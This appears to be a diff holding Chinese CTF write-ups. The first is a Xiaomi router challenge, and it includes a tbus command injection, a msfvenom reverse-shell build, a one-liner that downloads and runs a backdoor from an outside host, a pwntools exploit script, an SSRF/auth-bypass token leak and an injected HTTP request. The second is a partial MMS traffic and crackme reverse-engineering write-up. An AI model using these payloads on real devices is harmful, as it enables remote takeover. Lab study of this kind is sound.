2. 小米路由器是对开源框架openwrt进行的二次开发,漏洞分析的过程实际上类似于lua代码审计。
|
||||
|
||||
3. 历史漏洞复现与历史CVE。
|
||||
|
||||
## 预期解
|
||||
|
||||
分析patch文件`traffic.lua`
|
||||
|
||||
patch前
|
||||
|
||||
```lua
|
||||
function cmdfmt(str)
|
||||
return str:gsub("\\", "\\\\"):gsub("`", "\\`"):gsub("\"", "\\\""):gsub("%$", "\\$")
|
||||
end
|
||||
```
|
||||
|
||||
patch后
|
||||
|
||||
```lua
|
||||
function cmdfmt(str)
|
||||
return str:gsub("\\", "\\\\"):gsub("`", "\\`"):gsub("\"", "\\\"")
|
||||
end
|
||||
```
|
||||
|
||||
patch后的`cmdfmt`并未对`$`进行转义,可能存在命令注入漏洞。
|
||||
|
||||
```lua
|
||||
function trafficd_lua_ecos_pair_verify(repeater_token)
|
||||
local code
|
||||
local token
|
||||
local ssid
|
||||
local ssid_pwd
|
||||
local ssid_type
|
||||
local ssid_hidden
|
||||
local bssid
|
||||
local device_id
|
||||
local cjson=require("json")
|
||||
local pp
|
||||
local ifname
|
||||
local ifname_tmp
|
||||
local wl_index = 1
|
||||
local wl_cnt
|
||||
local i
|
||||
|
||||
pp = io.popen("uci get misc.wireless.ifname_2G")
|
||||
ifname = pp:read("*line")
|
||||
pp:close()
|
||||
|
||||
pp = io.popen("uci get misc.wireless.wl_if_count")
|
||||
wl_cnt = pp:read("*line")
|
||||
pp:close()
|
||||
|
||||
if ifname ~= nil and wl_cnt ~= nil then
|
||||
wl_cnt = tonumber(wl_cnt)
|
||||
if wl_cnt ~= nil then
|
||||
for i=0,wl_cnt,1 do
|
||||
pp = io.popen(string.format("uci get wireless.@wifi-iface[%d].ifname",i))
|
||||
ifname_tmp = pp:read("*line")
|
||||
pp:close()
|
||||
if ifname_tmp == ifname then
|
||||
wl_index = i
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
os.execute(string.format('/usr/sbin/ecos_pair_verify -i "%s" -e "%s" ', cmdfmt(ifname), cmdfmt(repeater_token)))
|
||||
file = io.open("/tmp/ecos.log","r")
|
||||
if file ~= nil then
|
||||
for line in file:lines() do
|
||||
local tt = cjson.decode(line)
|
||||
code = tt['code']
|
||||
token = tt['token']
|
||||
ssid = tt['ssid']
|
||||
ssid_pwd = tt['ssid_pwd']
|
||||
ssid_type = tt['ssid_type']
|
||||
ssid_hidden = tt['ssid_hidden']
|
||||
bssid = tt['bssid']
|
||||
device_id = tt['device_id']
|
||||
os.execute("logger " .. code)
|
||||
os.execute("logger " .. token)
|
||||
os.execute("logger " .. ssid)
|
||||
os.execute("logger " .. ssid_pwd)
|
||||
os.execute("logger " .. ssid_type)
|
||||
os.execute("logger " .. ssid_hidden)
|
||||
os.execute("logger " .. bssid)
|
||||
os.execute("logger " .. device_id)
|
||||
end
|
||||
file:close()
|
||||
end
|
||||
return code,token,ssid,ssid_pwd,ssid_type,ssid_hidden,bssid,device_id
|
||||
end
|
||||
```
|
||||
|
||||
`trafficd_lua_ecos_pair_verify`执行了经过`cmdfmt`处理的参数,存在命令注入漏洞。
|
||||
|
||||
接着,我们就想办法触发这条调用链。
|
||||
|
||||
全局搜索
|
||||
|
||||
```sh
|
||||
grep -ri "trafficd_lua_ecos_pair_verify" 2>/dev/null
|
||||
```
|
||||
|
||||

|
||||
|
||||
字符串定位,定位到`sub_402070`
|
||||
|
||||

|
||||
|
||||
交叉引用,发现没有函数调用`sub_402070`。
|
||||
|
||||
发现.data段存在很多.byte,可以使用快捷键**d**转换未.word类型。这里使用IDAPython脚本转换。
|
||||
|
||||
```python
|
||||
import idaapi
|
||||
import ida_bytes
|
||||
import idc
|
||||
|
||||
def MakeDword(ea):
|
||||
if idaapi.IDA_SDK_VERSION < 700:
|
||||
return idc.MakeDword(ea)
|
||||
else:
|
||||
return ida_bytes.create_data(ea, FF_DWORD, 4, idaapi.BADADDR)
|
||||
|
||||
start_addr = 0x00416564
|
||||
end_addr = 0x004165e8
|
||||
|
||||
while start_addr < end_addr:
|
||||
MakeDword(start_addr)
|
||||
start_addr += 4
|
||||
```
|
||||
|
||||
转换成功后,再次对`sub_402070`交叉引用,找到了引用的地方,但还是猜测不出调用链。
|
||||
|
||||

|
||||
|
||||
这里我们看main函数,看到了字符串**tbus_init**。
|
||||
|
||||

|
||||
|
||||
这里需要知道的是,tbus类似于openwrt的ubus,而ubus是用来作为进程间通信的,是一种类似总线结构的通信方式。关于ubus详细介绍可以看[https://gtrboy.github.io/posts/bus/与https://e-mailky.github.io/2017-08-14-ubus](https://gtrboy.github.io/posts/bus/与https://e-mailky.github.io/2017-08-14-ubus)。
|
||||
|
||||
与此同时,发现小米路由器提供了`tbus`命令。
|
||||
|
||||

|
||||
|
||||
`netapi`作为一个对象,其上定义了函数与参数。所以,我们要想办法找对应的函数与参数。
|
||||
|
||||
继续分析`main`函数。
|
||||
|
||||

|
||||
|
||||
根据后续字符串**add_object**,猜测`sub_40478c`函数的作用是初始化`tbus`。
|
||||
|
||||
查看参数`dword_4165A8`。
|
||||
|
||||

|
||||
|
||||
猜测是一个结构体。由于存在netapi与init字符串,合理猜测,`netapi`对象定义了`init`方法。再由上述`sub_402070`交叉引用的结果,猜测参数为`data`。
|
||||
|
||||
接着,就是使用`tbus call`进行验证了。
|
||||
在此之前,我们可以全局搜索`tbus`。
|
||||
|
||||

|
||||
|
||||
这里搜到了很多关键信息。比如,tbus call的参数格式为json格式,与ubus类似;tbus监听端口为784。
|
||||
使用netstat查看端口信息。
|
||||
|
||||

|
||||
|
||||
端口784运行的程序为trafficd,也即tbus服务端。
|
||||
|
||||
验证的payload为:
|
||||
|
||||
```shell
|
||||
tbus call netapi init '{"data": "aaa$(touch /tmp/haha)"}'
|
||||
```
|
||||
|
||||

|
||||
|
||||
成功验证了我们的思路。
|
||||
之后,使用msfvenom生成反弹shell,然后上传即可。
|
||||
|
||||
```shell
|
||||
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.31.14 LPORT=1234 -f elf -o backdoor
|
||||
```
|
||||
实现反弹shell。
|
||||
|
||||
```shell
|
||||
tbus call netapi init '{"data": "aaa$(wget http://192.168.31.14:8000/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor)"}'
|
||||
```
|
||||
|
||||

|
||||
|
||||
接下来,就是想办法外部触发tbus。
|
||||
|
||||
由上述`netstat`结果可知,`tbus`服务端运行在784端口,且IP地址为**0.0.0.0**,所以我们外部是直接可以访问784端口的。服务器内部存在`tcpdump`,进行流量分析。
|
||||
|
||||

|
||||
|
||||
可以看到,`trafficd`与`netapi`的通信是通过**127.0.0.1**进行的,所以我们对ip地址为127.0.0.1的网卡进行抓包即可。
|
||||
|
||||
```sh
|
||||
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected] "tcpdump -i lo -s 0 -w /tmp/miwifi.pcap"
|
||||
```
|
||||
|
||||
路由器内部执行tbus call。
|
||||
|
||||
```sh
|
||||
tbus call netapi init '{"data": "$(sleep 3)"}'
|
||||
```
|
||||
|
||||
之后,我们将获取的**/tmp/miwifi.pcap**传输到主机,使用wireshark进行分析。
|
||||
|
||||
使用`tcp.port == 784 && data`过滤出命令执行的包。
|
||||
|
||||

|
||||
|
||||
通过三次抓包分析,每次只有两个部分不同,猜测为token字段。
|
||||
|
||||

|
||||
|
||||
继续分析,发现每次连接都会发送序号为48的包的data,然后服务器端返回一个序号为50的包,其中带有token字段。
|
||||
|
||||
所以,我们通过流量来间接调用tbus来进行命令注入。
|
||||
|
||||
最终利用脚本如下:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = remote('192.168.31.1', 784)
|
||||
|
||||
p.recv()
|
||||
|
||||
data = '0004010000000000000000100200000b6e65746170690000'
|
||||
payload = bytes.fromhex(data)
|
||||
print(payload)
|
||||
p.send(payload)
|
||||
|
||||
token_data = p.recv()
|
||||
token = token_data[28:32]
|
||||
print(token)
|
||||
|
||||
p.recv()
|
||||
|
||||
shell = b'$(wget http://192.168.31.14:8000/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor)'
|
||||
|
||||
payload = f'''
|
||||
00050200{token[::-1].hex()}0000008c03000008{token.hex()}04000009696e697400000000070000748300006f000464617461000061616124287767657420687474703a2f2f3139322e3136382e33312e31343a383030302f6261636b646f6f72202d4f202f746d702f6261636b646f6f723b2063686d6f64202f746d702f6261636b646f6f723b202f746d702f6261636b646f6f72290000
|
||||
'''
|
||||
payload = bytes.fromhex(payload)
|
||||
print(payload)
|
||||
p.send(payload)
|
||||
|
||||
sleep(1)
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 非预期解
|
||||
|
||||
分析nginx服务的配置文件`/etc/sysapihttpd/sysapihttpd.conf`
|
||||
|
||||
```nginx
|
||||
server {
|
||||
listen 8197;
|
||||
# resolver 8.8.8.8;
|
||||
resolver 127.0.0.1 valid=30s;
|
||||
log_format log_subfilter '"$server_addr"\t"$host"\t"$remote_addr"\t"$time_local"\t"$request_method $request_uri"\t"$status"\t"$request_length"\t"$bytes_sent"\t"$request_time"\t"$sent_http_ MiCGI_Cache_Status"\t"$upstream_addr"\t"$upstream_response_time"\t"$http_referer"\t"$http_user_agent"';
|
||||
access_log off;
|
||||
#access_log /userdisk/data/proxy_8197.log log_subfilter;
|
||||
#error_log /userdisk/sysapihttpd/log/error.log info;
|
||||
|
||||
location / {
|
||||
proxy_set_header Accept-Encoding "";
|
||||
proxy_pass http://$http_host$request_uri;
|
||||
add_header XQ-Mark 'subfilter';
|
||||
proxy_connect_timeout 600;
|
||||
proxy_read_timeout 600;
|
||||
proxy_send_timeout 600;
|
||||
#sub_filter '</body>' '<div style="display:none">XQ Sub-Filter</div></body>';
|
||||
sub_filter '</head>' '<script type="text/javascript"></script></head>';
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
可以发现,反向代理**prxoy_pass** `http://$http_host$request_uri`,并没有对请求的url进行限制,存在**ssrf**漏洞。
|
||||
|
||||
审计`/usr/lib/lua/luci`目录下的lua脚本。
|
||||
|
||||
可以发现,`dispatcher.lua`存在认证绕过漏洞。
|
||||
|
||||
```lua
|
||||
local ip = http.getenv("REMOTE_ADDR")
|
||||
local host = http.getenv("HTTP_HOST")
|
||||
local isremote = ip == "127.0.0.1" and host == "localhost"
|
||||
if _sdkFilter(track.flag) and not isremote then
|
||||
local sdkutil = require("xiaoqiang.util.XQSDKUtil")
|
||||
if not sdkutil.checkPermission(getremotemac()) then
|
||||
context.path = {}
|
||||
luci.http.write([[{"code":1500,"msg":"Permission denied"}]])
|
||||
return
|
||||
end
|
||||
end
|
||||
if not isremote and not _noauthAccessAllowed(track.flag) and track.sysauth then
|
||||
local sauth = require "luci.sauth"
|
||||
local crypto = require "xiaoqiang.util.XQCryptoUtil"
|
||||
local sysutil = require "xiaoqiang.util.XQSysUtil"
|
||||
local isBinded = sysutil.getPassportBindInfo()
|
||||
|
||||
local authen = type(track.sysauth_authenticator) == "function"
|
||||
and track.sysauth_authenticator
|
||||
or authenticator[track.sysauth_authenticator]
|
||||
|
||||
local def = (type(track.sysauth) == "string") and track.sysauth
|
||||
local accs = def and {track.sysauth} or track.sysauth
|
||||
local sess = ctx.urltoken.stok
|
||||
local sdat = sauth.read(sess)
|
||||
local user
|
||||
if sdat then
|
||||
if ctx.urltoken.stok == sdat.token and (not sdat.ip or (sdat.ip and sdat.ip == ip)) then
|
||||
user = sdat.user
|
||||
end
|
||||
else
|
||||
local eu = http.getenv("HTTP_AUTH_USER")
|
||||
local ep = http.getenv("HTTP_AUTH_PASS")
|
||||
if eu and ep and luci.sys.user.checkpasswd(eu, ep) then
|
||||
-- authen = function() return eu end
|
||||
local logger = require("xiaoqiang.XQLog")
|
||||
logger.log(4, "Native Luci: HTTP_AUTH_USER & HTTP_AUTH_PASS")
|
||||
end
|
||||
end
|
||||
|
||||
if not util.contains(accs, user) then
|
||||
if authen then
|
||||
ctx.urltoken.stok = nil
|
||||
local user, logintype = authen(nil, accs, def)
|
||||
if not user or not util.contains(accs, user) then
|
||||
return
|
||||
else
|
||||
local sid = sess or luci.sys.uniqueid(16)
|
||||
local ltype = logintype or "2"
|
||||
local token = luci.sys.uniqueid(16)
|
||||
sauth.reap()
|
||||
sauth.write(token, {
|
||||
user=user,
|
||||
token=token,
|
||||
ltype=ltype,
|
||||
ip=ip,
|
||||
secret=luci.sys.uniqueid(16)
|
||||
})
|
||||
ctx.urltoken.stok = token
|
||||
ctx.authsession = token
|
||||
ctx.authuser = user
|
||||
end
|
||||
else
|
||||
luci.http.status(403, "Forbidden")
|
||||
return
|
||||
end
|
||||
else
|
||||
ctx.authsession = sess
|
||||
ctx.authuser = user
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
当 **`isremote = 1`**时,也即`ip == "127.0.0.1" and host == "localhost"`,可以绕过登录限制。
|
||||
|
||||
全局搜索**token**相关字段,发现`/usr/lib/lua/luci/controller/api/xqsystem.lua`存在**token**泄露。
|
||||
|
||||
```lua
|
||||
entry({"api", "xqsystem", "renew_token"}, call("renewToken"), (""), 136)
|
||||
|
||||
function renewToken()
|
||||
local datatypes = require("luci.cbi.datatypes")
|
||||
local sauth = require "luci.sauth"
|
||||
local result = {}
|
||||
local ip = LuciHttp.formvalue("ip")
|
||||
if ip and not datatypes.ipaddr(ip) then
|
||||
ip = nil
|
||||
end
|
||||
local session = sauth.available(ip)
|
||||
if session and session.token then
|
||||
result["token"] = session.token
|
||||
else
|
||||
local token = luci.sys.uniqueid(16)
|
||||
sauth.write(token, {
|
||||
user="admin",
|
||||
token=token,
|
||||
ltype="2",
|
||||
ip=ip,
|
||||
secret=luci.sys.uniqueid(16)
|
||||
})
|
||||
result["token"] = token
|
||||
end
|
||||
result["code"] = 0
|
||||
LuciHttp.write_json(result)
|
||||
end
|
||||
```
|
||||
|
||||
结合上述ssrf漏洞,以及认证绕过漏洞,可以泄露出认证字段token。
|
||||
|
||||
```sh
|
||||
curl -v http://192.168.31.1:8197/cgi-bin/luci/api/xqsystem/token -H 'Host: localhost'
|
||||
```
|
||||
|
||||
至于请求的target,我们可以在上述nginx配置字段中发现,这里不再赘述。
|
||||
|
||||

|
||||
|
||||
解决了认证的问题,接着就是想办法找到命令注入之类的漏洞了。
|
||||
|
||||
通过对历史CVE的搜索以及验证,可以发现[CVE-2018-13023](https://blog.securityevaluators.com/hack-routers-get-toys-exploiting-the-mi-router-3-1d7fd42f0838)漏洞并未修复。该漏洞描述大致为:认证后命令注入。
|
||||
|
||||
该漏洞位于`/usr/lib/lua/luci/controller/api/misns.lua`
|
||||
|
||||
```lua
|
||||
entry({"api", "misns", "wifi_access"}, call("wifiAccess"), (""), 203)
|
||||
|
||||
function wifiAccess()
|
||||
local result = {
|
||||
["code"] = 0
|
||||
}
|
||||
local sns = LuciHttp.formvalue("sns")
|
||||
local guid = LuciHttp.formvalue("guest_user_id")
|
||||
local expayload = LuciHttp.formvalue("extra_payload")
|
||||
local mac = LuciHttp.formvalue("mac")
|
||||
local dev_timeout = LuciHttp.formvalue("timeout")
|
||||
local grant = tonumber(LuciHttp.formvalue("grant")) or 1
|
||||
if not dev_timeout then
|
||||
dev_timeout=""
|
||||
end
|
||||
if not mac or not LuciDatatypes.macaddr(mac) then
|
||||
result.code = 1523
|
||||
else
|
||||
local repeat_request = XQWifiShare.check_repeat_request(mac)
|
||||
XQWifiShare.wifi_access(mac, sns, dev_timeout, guid, grant, expayload)
|
||||
if grant == 1 then
|
||||
local json = require("json")
|
||||
local push = require("xiaoqiang.XQPushHelper")
|
||||
local name = ""
|
||||
if not XQFunction.isStrNil(expayload) then
|
||||
local succ, info = pcall(json.decode, expayload)
|
||||
if succ and info then
|
||||
name = info.nickname
|
||||
end
|
||||
end
|
||||
if sns and sns ~= "wifirent" and sns ~= "direct_request" and not repeat_request then
|
||||
push._guestWifiConnectPush(mac, sns, name)
|
||||
end
|
||||
end
|
||||
if sns and sns == "direct_request" and grant == 0 then
|
||||
XQWifiShare.wifi_share_blacklist_edit({mac}, "+")
|
||||
end
|
||||
end
|
||||
if result.code ~= 0 then
|
||||
result["msg"] = XQErrorUtil.getErrorMessage(result.code)
|
||||
end
|
||||
LuciHttp.write_json(result)
|
||||
end
|
||||
```
|
||||
|
||||
漏洞点位于`XQWifiShare.wifi_access`,该函数并未对用户输入的内容进行限制,导致存在任意命令注入漏洞。
|
||||
|
||||
```lua
|
||||
function forkExec(command)
|
||||
local Nixio = require("nixio")
|
||||
local pid = Nixio.fork()
|
||||
if pid > 0 then
|
||||
return
|
||||
elseif pid == 0 then
|
||||
Nixio.chdir("/")
|
||||
local null = Nixio.open("/dev/null", "w+")
|
||||
if null then
|
||||
Nixio.dup(null, Nixio.stderr)
|
||||
Nixio.dup(null, Nixio.stdout)
|
||||
Nixio.dup(null, Nixio.stdin)
|
||||
if null:fileno() > 2 then
|
||||
null:close()
|
||||
end
|
||||
end
|
||||
Nixio.exec("/bin/sh", "-c", command)
|
||||
end
|
||||
end
|
||||
|
||||
function wifi_access(mac, sns, timeout, uid, grant, extra)
|
||||
local uci = require("luci.model.uci").cursor()
|
||||
if XQFunction.isStrNil(mac) then
|
||||
return false
|
||||
end
|
||||
local mac = XQFunction.macFormat(mac)
|
||||
local key = mac:gsub(":", "")
|
||||
local info = uci:get_all("wifishare", key)
|
||||
|
||||
if info then
|
||||
info["mac"] = mac
|
||||
if not XQFunction.isStrNil(sns) then
|
||||
info["sns"] = sns
|
||||
end
|
||||
if not XQFunction.isStrNil(uid) then
|
||||
info["guest_user_id"] = uid
|
||||
end
|
||||
if not XQFunction.isStrNil(extra) then
|
||||
info["extra_payload"] = extra
|
||||
end
|
||||
if grant then
|
||||
if grant == 0 then
|
||||
info["disabled"] = "1"
|
||||
elseif grant == 1 then
|
||||
info["disabled"] = "0"
|
||||
end
|
||||
end
|
||||
else
|
||||
if XQFunction.isStrNil(sns) or XQFunction.isStrNil(uid) or not grant then
|
||||
return false
|
||||
end
|
||||
info = {
|
||||
["mac"] = mac,
|
||||
["state"] = "auth",
|
||||
["sns"] = sns,
|
||||
["guest_user_id"] = uid,
|
||||
["extra_payload"] = extra,
|
||||
["disabled"] = grant == 1 and "0" or "1"
|
||||
}
|
||||
end
|
||||
uci:section("wifishare", "device", key, info)
|
||||
uci:commit("wifishare")
|
||||
if grant then
|
||||
if grant == 0 then
|
||||
if sns ~= "direct_request" then
|
||||
os.execute("/usr/sbin/wifishare.sh deny "..mac)
|
||||
end
|
||||
elseif grant == 1 then
|
||||
XQFunction.forkExec("sleep 2; /usr/sbin/wifishare.sh allow "..mac .." " ..sns .." " ..timeout)
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
```
|
||||
|
||||
当**`grand == 1`**时,执行` XQFunction.forkExec`函数,该函数并未对参数进行过滤,仅仅开启子进程执行命令,导致命令注入漏洞。
|
||||
|
||||
验证payload如下:在**/tmp**目录下创建文件。
|
||||
|
||||
```
|
||||
GET /cgi-bin/luci/;stok=0cfc176dfdf971d012e7d745a6d219d9/api/misns/wifi_access?mac=00:00:00:00:00:00&sns=%3b%0atouch%09/tmp/l1s00t%0a%23&grant=1&guest_user_id=guid&timeout=timeout HTTP/1.1
|
||||
Host: 192.168.31.1
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||||
Referer: http://192.168.31.1/cgi-bin/luci/;stok=3fbce4dd5205d9b7940c26b877121cd5/web/home
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: __guid=86847064.1832874651309614000.1694922718469.7314; psp=admin|||2|||0; monitor_count=23
|
||||
Connection: close
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
剩下的部分是跟预期解类似的过程,也就不再赘述了。
|
||||
|
||||
## 总结
|
||||
|
||||
通过对赛题的分析,学到了很多。具体如下:
|
||||
|
||||
1. 学到了设备的分析思路
|
||||
2. 了解了openwrt以及ubus(tubs)的通信方法
|
||||
3. 学习了nginx的配置,以及容易出现疏漏的地方
|
||||
4. 学到了多个漏洞利用方法
|
||||
|
||||
到这里,这道题的复现算是基本完成了,收获很大,继续加油。
|
||||
|
||||
## 参考文章
|
||||
|
||||
[https://xuanxuanblingbling.github.io/iot/2021/07/15/mirouter/](https://xuanxuanblingbling.github.io/iot/2021/07/15/mirouter/)
|
||||
|
||||
[https://github.com/ReAbout/ctf-writeup/blob/master/qwb-2021-final/mirouter-wp.md](https://github.com/ReAbout/ctf-writeup/blob/master/qwb-2021-final/mirouter-wp.md)
|
||||
|
||||
[https://e-mailky.github.io/2017-08-14-ubus](https://e-mailky.github.io/2017-08-14-ubus)
|
||||
|
||||
[https://www.anquanke.com/post/id/247597](https://www.anquanke.com/post/id/247597)
|
||||
|
||||
[https://mp.weixin.qq.com/s/ykrkcPXNyLjxh67GSJLOEA](https://mp.weixin.qq.com/s/ykrkcPXNyLjxh67GSJLOEA)
|
||||
|
||||
[https://www.cnblogs.com/miruier/p/13907150.html](https://www.cnblogs.com/miruier/p/13907150.html)
|
||||
|
||||
[https://zhuanlan.zhihu.com/p/83890573](https://zhuanlan.zhihu.com/p/83890573)
|
||||
@@ -0,0 +1,309 @@
|
||||
# 2022 祥云杯 Misc super_electric WriteUp
|
||||
> 0431物联卫士实验室
|
||||
> 来源:https://www.iotsec-zone.com/article/299
|
||||
|
||||
拿到题目,是个流量分析题,先看下流量分布。
|
||||
|
||||

|
||||
|
||||
可以看出来,`IPv4-TCP-MMS`几乎占了绝大部分,而其他的协议占比也没有超出合理范围,那么这个流量包是让分析`MMS`协议基本上是板上钉钉的事了。
|
||||
|
||||
> mms协议主要应用在工控领域,属于是专业对口了。
|
||||
|
||||
那就筛选一下`mms`。
|
||||
|
||||

|
||||
|
||||
发现从头到尾都有好多的`confirmed-RequestPDU`(这个消息类型的过滤器是`mms.confirmedServiceRequest`),而其他的几个消息类型又一般是没啥用的那种(用`mms && !mms.confirmedServiceRequest`过滤后可以看出确实没啥有用信息)。
|
||||
|
||||
> mms协议主要有`initiate-RequestPDU`、`confirmed-RequestPDU`、`initiate-ResponsePDU`、`confirmed-ResponsePDU`四种消息类型,其中`confirmed-RequestPDU`相对来说比较重要。
|
||||
|
||||
那就过滤一下`mms.confirmedServiceRequest`呗。
|
||||
|
||||

|
||||
|
||||
发现除了开头那条是`LLN0$CO$FunEna1$SBOw`,后续不是`LLN0$CO$FunEna2$Oper`就是`LLN0$CO$FunEna1$Oper`,那目标已经很明确了,肯定是后两者咯。
|
||||
|
||||
先是`mms.itemId == "LLN0$CO$FunEna2$Oper"`看了下,发现从头到尾一直在传同一个值:`172.20.1.23`。
|
||||
|
||||

|
||||
|
||||
所以`LLN0$CO$FunEna2$Oper`大概是没啥用了,那就去看`LLN0$CO$FunEna1$Oper`呗。
|
||||
|
||||

|
||||
|
||||
这熟悉的`4d5a9000`开头,这不`exe`吗?那就`tshark`提取一下呗(还是老老实实用`cmd`跑`tshark`比较好,`pwsh`不知道为啥一直会报`tshark: "$" was unexpected in this context.`)。
|
||||
|
||||
```shell
|
||||
tshark -r .\super_electric.pcapng -Y "mms.itemId == \"LLN0$CO$FunEna1$Oper\"" -T fields -e "mms.octet_string" > data.txt
|
||||
```
|
||||
|
||||

|
||||
|
||||
提取结果是`hex`的:
|
||||
|
||||

|
||||
|
||||
那么写个脚本输出成`exe`吧。
|
||||
|
||||
```python
|
||||
data = b""
|
||||
with open('data.txt', 'r') as f:
|
||||
for line in f:
|
||||
data += bytes.fromhex(line.strip())
|
||||
with open("test.exe", 'wb') as f:
|
||||
f.write(data)
|
||||
```
|
||||
|
||||

|
||||
|
||||
那就开始逆向呗。
|
||||
|
||||
打开发现有窗口,那就找一下文本先。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
发现有反调试相关函数名,不过应该问题不大,先去看看`crackme`那块有啥调用吧。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
应该是在创建窗口或者应用啥的,那么上面的`sub_43CB50`应该就是主函数了,跟过去看看。
|
||||
|
||||

|
||||
|
||||
有个`aC96f278c370c43`常量,好像上面看字符串的时候见过,跟回去看看附近还有没有啥。
|
||||
|
||||

|
||||
|
||||
有一堆不知道是啥的常量,直接`A`一下发现就是窗口上的各种文本和消息。(有些文本被ida解析成函数了,需要`U`一下然后`A`)
|
||||
|
||||

|
||||
|
||||
那就回去看看哪里触发了那个`恭喜`。
|
||||
|
||||

|
||||
|
||||
所以关键还是那个`C96F278C370C43299F1EE98257CCBD8A`,只不过这边`dword_449CB0`函数没解析出来是啥,过去看看定义发现应该是`Win32 Api`。
|
||||
|
||||

|
||||
|
||||
那就`x32dbg`调试一下看看,因为这玩意我记得能识别`Win32 Api`。
|
||||
|
||||
到调用点`43ccbd`看看,发现这个函数其实是`memcmp`。
|
||||
|
||||

|
||||
|
||||
那有没有可能,输入的就是这一串,因为上面没见到啥复杂的处理逻辑或者其他调用。
|
||||
|
||||
于是输入了看看,发现确实是。
|
||||
|
||||

|
||||
|
||||
但是点`确定`之后就退出了,有点离谱...
|
||||
|
||||
于是命令行启动看看,猜测会不会是在`STDOUT`输出了东西。
|
||||
|
||||
结果输入完点`确定`后发现,根本不是正常退出,是异常了...
|
||||
|
||||

|
||||
|
||||
去看了下系统日志,是`VC14`翻车了,啥情况啊。然后想起来之前打绿城杯线下有一题也是这个类似的情况(不过那题不是`VC14`翻的,但是都是最后环节过几秒钟异常)。
|
||||
|
||||

|
||||
|
||||
绿城杯那题是因为作者写了个按条件触发的自解压的壳,然后因为我电脑环境问题好像触发了空指针。这题也是触发了空指针,难道这题也是自己写的壳?结合上面`pdb`路径里面带了个`upacker`,感觉真有可能。
|
||||
|
||||
不过当时为了保险起见,这种出现了异常的情况,肯定是先问问赛务比较靠谱。
|
||||
|
||||

|
||||
|
||||
结果赛务这回答,当时刚开始觉得好有道理,然后管理员运行、兼容性运行都给试了一遍,还是问题依旧。
|
||||
|
||||
然后突然醒悟,这回答不是命令行逆向题的标准回答吗?把我当小白了...赛务果然不靠谱。
|
||||
|
||||
然后后来我又小怼了一下,看出来回复确实才变成出题人的回复了。
|
||||
|
||||

|
||||
|
||||
但是看这意思是,出题人觉得正常情况下,点完确认是可以到下一阶段开始命令行交互的,然后大概会有在`STDOUT`写东西然后马上关闭?
|
||||
|
||||
那我这属于是环境问题导致完全不知道有下一阶段呗...搁这耽误了快两个小时是真离谱。
|
||||
|
||||
算了算了,确认有壳就行,找脱壳点吧。回到上面那个`恭喜`逻辑。
|
||||
|
||||

|
||||
|
||||
相比于没输入正确,多了个调用,那就去`x32dbg`看看是啥函数的调用。
|
||||
|
||||

|
||||
|
||||
是个`SendMessageA`,然后消息是`16`,这不是`WM_CLOSE`嘛...
|
||||
|
||||
那看来这个窗口应该是没啥脱壳逻辑了,往上追调用堆栈看看后续有没有吧。
|
||||
|
||||
然后一路追直接到了`start`函数。
|
||||
|
||||

|
||||
|
||||
其中`sub_43CD50`是创建窗体的函数,那么下面还一堆内存处理的,咋看咋像脱壳,然后最后有个内存块当函数调用的,就更像是脱壳完后的入口地址了。
|
||||
|
||||
于是懒得看脱壳逻辑了,直接跑到最后这个调用点`43d4a6`然后`Scylla`一键脱了吧。
|
||||
|
||||

|
||||
|
||||
结果压根没跑到这个地方,触发啥异常了,应该是哪个地方有反调试插桩。那就从`sub_43CD50`的调用结束后下个断点然后单步跟呗。
|
||||
|
||||
结果连`sub_43CD50`还没结束就触发反调试了。
|
||||
|
||||
那就只能把这个异常给过滤掉了。
|
||||
|
||||

|
||||
|
||||
然后发现在调用`43d2a0`会触发另一个异常。
|
||||
|
||||

|
||||
|
||||
上ida一看,发现是个反调试,直接nop。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
然后跟过去发现真有代码。
|
||||
|
||||

|
||||
|
||||
直接`Scylla`一把梭。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
不过无论是dump后的还是修复后的都依旧跑不起来,感觉还是踩到那个环境问题了。
|
||||
|
||||
不过无所谓,ida直接找到了真实的main函数,这就方便多了。
|
||||
|
||||

|
||||
|
||||
似乎是需要输入什么东西然后异或`0x89`后和`byte_42D624`比较,但是这个输入的后续就没有使用了,而且咱们跑不起来,也就无所谓需要输入啥了,反正没地方输入。
|
||||
|
||||
然后下面开始循环异或下标,范围是`[0, 717)`,那就写个脚本看看这里解出来的结果是啥。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
```python
|
||||
